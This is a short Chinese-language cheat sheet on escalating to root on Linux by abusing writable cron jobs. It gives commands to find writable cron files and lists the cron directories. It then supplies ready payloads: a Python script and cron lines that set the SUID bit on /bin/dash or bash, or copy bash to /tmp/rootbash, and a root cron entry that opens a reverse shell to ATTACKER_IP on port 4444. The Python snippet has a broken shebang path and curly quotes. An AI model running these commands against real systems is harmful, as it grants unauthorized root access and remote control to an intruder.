关联:提权总览提权命令

计划任务(Cron)是Linux系统用于定时执行任务的守护进程。系统管理员常用它来自动化系统维护或管理任务。配置不当的计划任务可以被攻击者利用来获取更高权限(通常是root权限)。

查找可用文件

# 查找所有cron任务文件(包括系统级和用户级)
find /etc/cron* -type f 2>/dev/null
find /var/spool/cron -type f 2>/dev/null
 
# 查找具有写权限的cron文件(重点目标!)
find /etc/cron* -writable -type f 2>/dev/null
find /var/spool/cron -writable -type f 2>/dev/null

可用的目录

  1. `/etc/crontab
  2. `/etc/cron.d/
  3. /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
  4. `/var/spool/cron/crontabs/

写入内容

  1. 找到cron文件后把指定的py脚本改成如下
#!/user/bin/env python
import os
import sys
try:
    os.system(‘chmod u+s /bin/dash’)
except:
   sys.exit
  1. 直接写新的cron脚本
* * * * * root chmod +s /bin/bash
* * * * * root cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
  1. 反弹shell
* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'